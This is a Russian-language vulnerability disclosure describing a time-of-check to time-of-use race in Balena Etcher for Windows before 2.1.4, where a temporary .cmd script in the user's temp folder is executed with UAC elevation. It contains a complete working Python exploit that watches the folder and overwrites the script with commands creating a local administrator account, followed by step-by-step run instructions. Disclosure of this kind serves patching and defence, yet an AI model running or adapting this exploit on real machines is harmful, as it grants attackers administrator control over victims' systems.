
Balena Etcher версии до v2.1.4 в Windows подвержены состоянию гонки типа Time-of-Check to Time-of-Use (TOCTOU) при обработке временных файлов.
Уязвимость типа Time-of-Check to Time-of-Use (TOCTOU) была обнаружена в Balena Etcher для Windows в версиях до 2.1.4.
Приложение создаёт временный файл .cmd в каталоге, доступном для записи пользователю, а затем выполняет его с повышенными привилегиями через UAC.
Это позволяет приложению или процессу, работающему в контексте текущего пользователя с средним уровнем целостности, повысить привилегии до высокого уровня целостности путём внедрения вредоносных команд во временный скрипт до его выполнения.
Когда пользователь запускает процесс прошивки, Etcher выполняет следующую последовательность действий:
Временный файл .cmd создаётся в доступном для записи временном каталоге пользователя:
C:\Users\<username>\AppData\Local\Temp\etcher\
В файл записываются необходимые переменные окружения и команда для запуска etcher-util.exe.
Скрипт выполняется с повышенными привилегиями через Windows UAC.
Уязвимость возникает из-за временного промежутка между созданием файла и его выполнением. В течение этого короткого окна приложение, работающее в том же контексте пользователя, может отслеживать временный каталог и заменить легитимный файл .cmd на вредоносную версию. Поскольку Etcher не проверяет целостность файла перед его выполнением, вредоносный код выполняется с повышенными привилегиями.
Следующий скрипт на Python отслеживает временный каталог Etcher и, как только обнаруживает файл .cmd, добавляет в него вредоносную нагрузку, которая создаёт новую локальную учётную запись администратора.
import os
import time
import glob
username = os.environ.get("USERNAME")
target_folder = fr"C:\Users\{username}\AppData\Local\Temp\etcher"
file_prefix = "balena-etcher-electron-"
payload = fr'''
chcp 65001
set "ETCHER_SERVER_ADDRESS=127.0.0.1"
set "ETCHER_SERVER_ID=etcher-xxorfp"
set "ETCHER_SERVER_PORT=3435"
set "UV_THREADPOOL_SIZE=128"
set "SKIP=1"
net user exploitUser Password123! /add
net localgroup administrators exploitUser /add
"C:\Users\{username}\AppData\Local\balena_etcher\app-2.1.0\resources\etcher-util.exe"
'''
def monitor_and_replace():
print(f"[*] Watching for balena-etcher-electron-*.cmd files in: {target_folder}")
while True:
cmd_files = glob.glob(os.path.join(target_folder, file_prefix + "*.cmd"))
for cmd_file in cmd_files:
print(f"[+] New .cmd file detected: {cmd_file}")
try:
with open(cmd_file, "w") as f:
f.write(payload)
print("[+] Payload successfully written to .cmd file.")
return # Exit after successful injection
except Exception as e:
print(f"[-] Failed to write payload: {e}")
time.sleep(0.5)
if __name__ == "__main__":
monitor_and_replace()
python exploit.py. Скрипт начнёт отслеживать временный каталог на наличие файлов .cmd, создаваемых Etcher.
Когда появится запрос UAC, примите его, чтобы позволить Etcher продолжить работу с повышенными привилегиями.
Эксплойт-скрипт обнаруживает и заменяет временный файл .cmd непосредственно перед выполнением. Как только скрипт выполняется с повышенными привилегиями, внедрённые команды выполняются, добавляя нового локального пользователя-администратора (exploitUser).